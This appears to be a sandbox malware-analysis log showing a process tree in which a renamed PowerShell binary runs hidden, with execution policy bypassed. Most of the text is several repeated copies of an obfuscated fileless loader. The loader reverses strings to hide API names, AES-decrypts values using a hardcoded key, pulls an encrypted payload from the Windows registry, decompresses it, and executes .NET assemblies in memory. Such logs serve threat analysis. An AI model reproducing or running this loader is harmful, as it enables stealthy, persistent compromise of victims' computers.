'').('gnirtSteG'[-1..-9] -join '')($HVXKt);$ewjne = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bahh8RYkzn28RHBrHTR6Rw==');$ewjne = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ewjne, 0, $ewjne.Length);$ewjne = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ewjne);$UswSE0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7ps7mtx52AURDUYRcez/RA==');$UswSE0 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE0, 0, $UswSE0.Length);$UswSE0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE0);$UswSE1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('c5XC748b+iFBdBWdnZ4s2w==');$UswSE1 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE1, 0, $UswSE1.Length);$UswSE1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE1);$UswSE2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eJLAPTei3F5Fj8pfHCkW0A==');$UswSE2 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE2, 0, $UswSE2.Length);$UswSE2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE2);$UswSE3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7VMq7slMB5TL9zlr2duzSA==');$UswSE3 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE3, 0, $UswSE3.Length);$UswSE3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE3);$cXkwu.Dispose();$OeLLh1.Dispose();$vDMJP = [Microsoft.Win32.Registry]::$HVXKt.$gBBaw($UswSE).$cOnuq($Dsgcn);$ZyJrD=[string[]]$vDMJP.Split('\');$pKkNV=XSkGH(CzXOR([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[1])));BdfTq $pKkNV (,[string[]] ('%*'));$quBDS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[0]);$OeLLh = New-Object System.Security.Cryptography.AesManaged;$OeLLh.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$CdjJU = $OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')();$quBDS = $CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($quBDS, 0, $quBDS.Length);$CdjJU.Dispose();$OeLLh.Dispose();$YMVfV = New-Object System.IO.MemoryStream(, $quBDS);$HPwhP = New-Object System.IO.MemoryStream;$LnniF = New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::$UswSE1);$LnniF.$ewjne($HPwhP);$LnniF.Dispose();$YMVfV.Dispose();$HPwhP.Dispose();$quBDS = $HPwhP.ToArray();$xnpKq = $XVVPy | IEX;$ZLyfJ = $xnpKq::$UswSE2($quBDS);$xoyvm = $ZLyfJ.EntryPoint;$xoyvm.$UswSE0($null, (, [string[]] ($WtQaE)))6⤵
- Executes dropped EXE
PID:5340
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(5912).WaitForExit();[System.Threading.Thread]::Sleep(5000); function CzXOR($wCmAa){ $OeLLh=[System.Security.Cryptography.Aes]::Create(); $OeLLh.Mode=[System.Security.Cryptography.CipherMode]::CBC; $OeLLh.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $OeLLh.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U='); $OeLLh.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q=='); $CdjJU=$OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')(); $ZrPpX=$CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wCmAa, 0, $wCmAa.Length); $CdjJU.Dispose(); $OeLLh.Dispose(); $ZrPpX;}function XSkGH($wCmAa){ $YMVfV=New-Object System.IO.MemoryStream(,$wCmAa); $HPwhP=New-Object System.IO.MemoryStream; $LnniF=New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::Decompress); $LnniF.CopyTo($HPwhP); $LnniF.Dispose(); $YMVfV.Dispose(); $HPwhP.Dispose(); $HPwhP.ToArray();}function BdfTq($wCmAa,$IUdXm){ $ZLyfJ=[System.Reflection.Assembly]::Load([byte[]]$wCmAa); $xoyvm=$ZLyfJ.EntryPoint; $xoyvm.Invoke($null, $IUdXm);}$OeLLh1 = New-Object System.Security.Cryptography.AesManaged;$OeLLh1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$cXkwu = $OeLLh1.('rotpyrceDetaerC'[-1..-15] -join '')();$UswSE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('18zwi26zozI/4sNwvOJxpg==');$UswSE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE, 0, $UswSE.Length);$UswSE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE);$Dsgcn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EkARJ6Rv6BIg2MogoHYcmw/X0/TgnV5+LWpTmFkicv4=');$Dsgcn = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Dsgcn, 0, $Dsgcn.Length);$Dsgcn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Dsgcn);$WtQaE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CPgoovSvydwIKAVbsV0oUg==');$WtQaE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WtQaE, 0, $WtQaE.Length);$WtQaE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WtQaE);$XVVPy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iTx/W/jnzoHE14r8DEibMEyuaeYiE3dAqeSv8NW3jSN5A97h+1KY+THryvIh1dJiGmsnJ//SXLVPWbfMRzL7ufXSCGPz+pfVsuxaLTSyptiJPzqcoan9Xr1jE4Rmc5u7LTId80wSaXqLNmoB4fPg/P7NE3c2Yuw0nqWt/ZngWniFYubjYtKMqyyNRSfNgyr89Ug/vFc6LgfL0bPIYeBlHCze7nx8PsBL+Q/EBybHWqUfBjNVsJmx3EeYrFfxNdSC3e8Y+JBmg8TSGLJHyBt+tFwMt/TmHxps75m66JuQeZLlhKeLZ6bjJ74zTvsp2A8buoYwDETvErAcvrBSGhVS7mYWy6o4J4BMWokYyeV+Cq7Q8/73SCovtE69+hmKy7HRlFzPuhkQyPHRSeQjZ9+873yj/eogIwSIkiXGB0fk3+g=');$XVVPy = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVVPy, 0, $XVVPy.Length);$XVVPy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVVPy);$ZnwOj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l578nKfyTb6bpNlYfElbzQ==');$ZnwOj = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZnwOj, 0, $ZnwOj.Length);$ZnwOj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZnwOj);$cOnuq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1OZ44W6bdY1aa1QLUX4fJA==');$cOnuq = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cOnuq, 0, $cOnuq.Length);$cOnuq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cOnuq);$gBBaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KPGj8zPRDGjW+cttrplwtg==');$gBBaw = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gBBaw, 0, $gBBaw.Length);$gBBaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gBBaw);$HVXKt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg3LvN/Da8EBkYu0PdZp+A==');$HVXKt = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($HVXKt, 0, $HVXKt.Length);$HVXKt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($HVXKt);$ewjne = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bahh8RYkzn28RHBrHTR6Rw==');$ewjne = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ewjne, 0, $ewjne.Length);$ewjne = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ewjne);$UswSE0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7ps7mtx52AURDUYRcez/RA==');$UswSE0 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE0, 0, $UswSE0.Length);$UswSE0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE0);$UswSE1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('c5XC748b+iFBdBWdnZ4s2w==');$UswSE1 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE1, 0, $UswSE1.Length);$UswSE1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE1);$UswSE2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eJLAPTei3F5Fj8pfHCkW0A==');$UswSE2 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE2, 0, $UswSE2.Length);$UswSE2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE2);$UswSE3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7VMq7slMB5TL9zlr2duzSA==');$UswSE3 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE3, 0, $UswSE3.Length);$UswSE3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE3);$cXkwu.Dispose();$OeLLh1.Dispose();$vDMJP = [Microsoft.Win32.Registry]::$HVXKt.$gBBaw($UswSE).$cOnuq($Dsgcn);$ZyJrD=[string[]]$vDMJP.Split('\');$pKkNV=XSkGH(CzXOR([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[1])));BdfTq $pKkNV (,[string[]] ('%*'));$quBDS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[0]);$OeLLh = New-Object System.Security.Cryptography.AesManaged;$OeLLh.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$CdjJU = $OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')();$quBDS = $CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($quBDS, 0, $quBDS.Length);$CdjJU.Dispose();$OeLLh.Dispose();$YMVfV = New-Object System.IO.MemoryStream(, $quBDS);$HPwhP = New-Object System.IO.MemoryStream;$LnniF = New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::$UswSE1);$LnniF.$ewjne($HPwhP);$LnniF.Dispose();$YMVfV.Dispose();$HPwhP.Dispose();$quBDS = $HPwhP.ToArray();$xnpKq = $XVVPy | IEX;$ZLyfJ = $xnpKq::$UswSE2($quBDS);$xoyvm = $ZLyfJ.EntryPoint;$xoyvm.$UswSE0($null, (, [string[]] ($WtQaE)))6⤵
- Executes dropped EXE
PID:768
-
-
C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(5912).WaitForExit();[System.Threading.Thread]::Sleep(5000); function CzXOR($wCmAa){ $OeLLh=[System.Security.Cryptography.Aes]::Create(); $OeLLh.Mode=[System.Security.Cryptography.CipherMode]::CBC; $OeLLh.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $OeLLh.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U='); $OeLLh.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q=='); $CdjJU=$OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')(); $ZrPpX=$CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wCmAa, 0, $wCmAa.Length); $CdjJU.Dispose(); $OeLLh.Dispose(); $ZrPpX;}function XSkGH($wCmAa){ $YMVfV=New-Object System.IO.MemoryStream(,$wCmAa); $HPwhP=New-Object System.IO.MemoryStream; $LnniF=New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::Decompress); $LnniF.CopyTo($HPwhP); $LnniF.Dispose(); $YMVfV.Dispose(); $HPwhP.Dispose(); $HPwhP.ToArray();}function BdfTq($wCmAa,$IUdXm){ $ZLyfJ=[System.Reflection.Assembly]::Load([byte[]]$wCmAa); $xoyvm=$ZLyfJ.EntryPoint; $xoyvm.Invoke($null, $IUdXm);}$OeLLh1 = New-Object System.Security.Cryptography.AesManaged;$OeLLh1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$cXkwu = $OeLLh1.('rotpyrceDetaerC'[-1..-15] -join '')();$UswSE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('18zwi26zozI/4sNwvOJxpg==');$UswSE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE, 0, $UswSE.Length);$UswSE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE);$Dsgcn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EkARJ6Rv6BIg2MogoHYcmw/X0/TgnV5+LWpTmFkicv4=');$Dsgcn = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Dsgcn, 0, $Dsgcn.Length);$Dsgcn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Dsgcn);$WtQaE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CPgoovSvydwIKAVbsV0oUg==');$WtQaE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WtQaE, 0, $WtQaE.Length);$WtQaE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WtQaE);$XVVPy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iTx/W/jnzoHE14r8DEibMEyuaeYiE3dAqeSv8NW3jSN5A97h+1KY+THryvIh1dJiGmsnJ//SXLVPWbfMRzL7ufXSCGPz+pfVsuxaLTSyptiJPzqcoan9Xr1jE4Rmc5u7LTId80wSaXqLNmoB4fPg/P7NE3c2Yuw0nqWt/ZngWniFYubjYtKMqyyNRSfNgyr89Ug/vFc6LgfL0bPIYeBlHCze7nx8PsBL+Q/EBybHWqUfBjNVsJmx3EeYrFfxNdSC3e8Y+JBmg8TSGLJHyBt+tFwMt/TmHxps75m66JuQeZLlhKeLZ6bjJ74zTvsp2A8buoYwDETvErAcvrBSGhVS7mYWy6o4J4BMWokYyeV+Cq7Q8/73SCovtE69+hmKy7HRlFzPuhkQyPHRSeQjZ9+873yj/eogIwSIkiXGB0fk3+g=');$XVVPy = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVVPy, 0, $XVVPy.Length);$XVVPy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVVPy);$ZnwOj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l578nKfyTb6bpNlYfElbzQ==');$ZnwOj = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZnwOj, 0, $ZnwOj.Length);$ZnwOj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZnwOj);$cOnuq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1OZ44W6bdY1aa1QLUX4fJA==');$cOnuq = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cOnuq, 0, $cOnuq.Length);$cOnuq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cOnuq);$gBBaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KPGj8zPRDGjW+cttrplwtg==');$gBBaw = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gBBaw, 0, $gBBaw.Length);$gBBaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gBBaw);$HVXKt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg3LvN/Da8EBkYu0PdZp+A==');$HVXKt = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($HVXKt, 0, $HVXKt.Length);$HVXKt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($HVXKt);$ewjne = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bahh8RYkzn28RHBrHTR6Rw==');$ewjne = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ewjne, 0, $ewjne.Length);$ewjne = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ewjne);$UswSE0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7ps7mtx52AURDUYRcez/RA==');$UswSE0 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE0, 0, $UswSE0.Length);$UswSE0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE0);$UswSE1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('c5XC748b+iFBdBWdnZ4s2w==');$UswSE1 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE1, 0, $UswSE1.Length);$UswSE1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE1);$UswSE2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eJLAPTei3F5Fj8pfHCkW0A==');$UswSE2 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE2, 0, $UswSE2.Length);$UswSE2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE2);$UswSE3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7VMq7slMB5TL9zlr2duzSA==');$UswSE3 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE3, 0, $UswSE3.Length);$UswSE3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE3);$cXkwu.Dispose();$OeLLh1.Dispose();$vDMJP = [Microsoft.Win32.Registry]::$HVXKt.$gBBaw($UswSE).$cOnuq($Dsgcn);$ZyJrD=[string[]]$vDMJP.Split('\');$pKkNV=XSkGH(CzXOR([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[1])));BdfTq $pKkNV (,[string[]] ('%*'));$quBDS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[0]);$OeLLh = New-Object System.Security.Cryptography.AesManaged;$OeLLh.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$CdjJU = $OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')();$quBDS = $CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($quBDS, 0, $quBDS.Length);$CdjJU.Dispose();$OeLLh.Dispose();$YMVfV = New-Object System.IO.MemoryStream(, $quBDS);$HPwhP = New-Object System.IO.MemoryStream;$LnniF = New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::$UswSE1);$LnniF.$ewjne($HPwhP);$LnniF.Dispose();$YMVfV.Dispose();$HPwhP.Dispose();$quBDS = $HPwhP.ToArray();$xnpKq = $XVVPy | IEX;$ZLyfJ = $xnpKq::$UswSE2($quBDS);$xoyvm = $ZLyfJ.EntryPoint;$xoyvm.$UswSE0($null, (, [string[]] ($WtQaE)))6⤵
- Executes dropped EXE
PID:6220
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(5912).WaitForExit();[System.Threading.Thread]::Sleep(5000); function CzXOR($wCmAa){ $OeLLh=[System.Security.Cryptography.Aes]::Create(); $OeLLh.Mode=[System.Security.Cryptography.CipherMode]::CBC; $OeLLh.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $OeLLh.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U='); $OeLLh.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q=='); $CdjJU=$OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')(); $ZrPpX=$CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wCmAa, 0, $wCmAa.Length); $CdjJU.Dispose(); $OeLLh.Dispose(); $ZrPpX;}function XSkGH($wCmAa){ $YMVfV=New-Object System.IO.MemoryStream(,$wCmAa); $HPwhP=New-Object System.IO.MemoryStream; $LnniF=New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::Decompress); $LnniF.CopyTo($HPwhP); $LnniF.Dispose(); $YMVfV.Dispose(); $HPwhP.Dispose(); $HPwhP.ToArray();}function BdfTq($wCmAa,$IUdXm){ $ZLyfJ=[System.Reflection.Assembly]::Load([byte[]]$wCmAa); $xoyvm=$ZLyfJ.EntryPoint; $xoyvm.Invoke($null, $IUdXm);}$OeLLh1 = New-Object System.Security.Cryptography.AesManaged;$OeLLh1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$cXkwu = $OeLLh1.('rotpyrceDetaerC'[-1..-15] -join '')();$UswSE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('18zwi26zozI/4sNwvOJxpg==');$UswSE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE, 0, $UswSE.Length);$UswSE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE);$Dsgcn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EkARJ6Rv6BIg2MogoHYcmw/X0/TgnV5+LWpTmFkicv4=');$Dsgcn = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Dsgcn, 0, $Dsgcn.Length);$Dsgcn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Dsgcn);$WtQaE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CPgoovSvydwIKAVbsV0oUg==');$WtQaE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WtQaE, 0, $WtQaE.Length);$WtQaE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WtQaE);$XVVPy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iTx/W/jnzoHE14r8DEibMEyuaeYiE3dAqeSv8NW3jSN5A97h+1KY+THryvIh1dJiGmsnJ//SXLVPWbfMRzL7ufXSCGPz+pfVsuxaLTSyptiJPzqcoan9Xr1jE4Rmc5u7LTId80wSaXqLNmoB4fPg/P7NE3c2Yuw0nqWt/ZngWniFYubjYtKMqyyNRSfNgyr89Ug/vFc6LgfL0bPIYeBlHCze7nx8PsBL+Q/EBybHWqUfBjNVsJmx3EeYrFfxNdSC3e8Y+JBmg8TSGLJHyBt+tFwMt/TmHxps75m66JuQeZLlhKeLZ6bjJ74zTvsp2A8buoYwDETvErAcvrBSGhVS7mYWy6o4J4BMWokYyeV+Cq7Q8/73SCovtE69+hmKy7HRlFzPuhkQyPHRSeQjZ9+873yj/eogIwSIkiXGB0fk3+g=');$XVVPy = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVVPy, 0, $XVVPy.Length);$XVVPy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVVPy);$ZnwOj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l578nKfyTb6bpNlYfElbzQ==');$ZnwOj = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZnwOj, 0, $ZnwOj.Length);$ZnwOj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZnwOj);$cOnuq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1OZ44W6bdY1aa1QLUX4fJA==');$cOnuq = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cOnuq, 0, $cOnuq.Length);$cOnuq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cOnuq);$gBBaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KPGj8zPRDGjW+cttrplwtg==');$gBBaw = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gBBaw, 0, $gBBaw.Length);$gBBaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gBBaw);$HVXKt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg3LvN/Da8EBkYu0PdZp+A==');$HVXKt = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($HVXKt, 0, $HVXKt.Length);$HVXKt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($HVXKt);$ewjne = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bahh8RYkzn28RHBrHTR6Rw==');$ewjne = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ewjne, 0, $ewjne.Length);$ewjne = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ewjne);$UswSE0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] 